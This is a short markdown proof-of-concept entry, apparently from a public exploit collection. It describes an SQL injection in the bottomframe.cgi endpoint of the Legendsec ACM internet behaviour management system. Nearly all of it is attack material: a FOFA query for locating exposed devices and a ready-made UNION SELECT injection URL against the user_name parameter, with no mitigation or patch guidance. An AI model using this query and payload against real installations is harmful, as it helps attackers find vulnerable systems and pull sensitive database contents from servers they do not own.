POC/wpoc/网御星云/网御ACM上网行为管理系统bottomframe.cgi存在SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

18 lines
453 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 网御ACM上网行为管理系统bottomframe.cgi存在SQL注入漏洞
网御 ACM上网行为管理系统 bottomframe.cgi 存在SQL注入漏洞攻击者通过漏洞可以获取服务器数据库敏感信息
## fofa
```
app="网御星云-上网行为管理系统"
```
## poc
```javascript
/bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23
```
![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409191348040.png)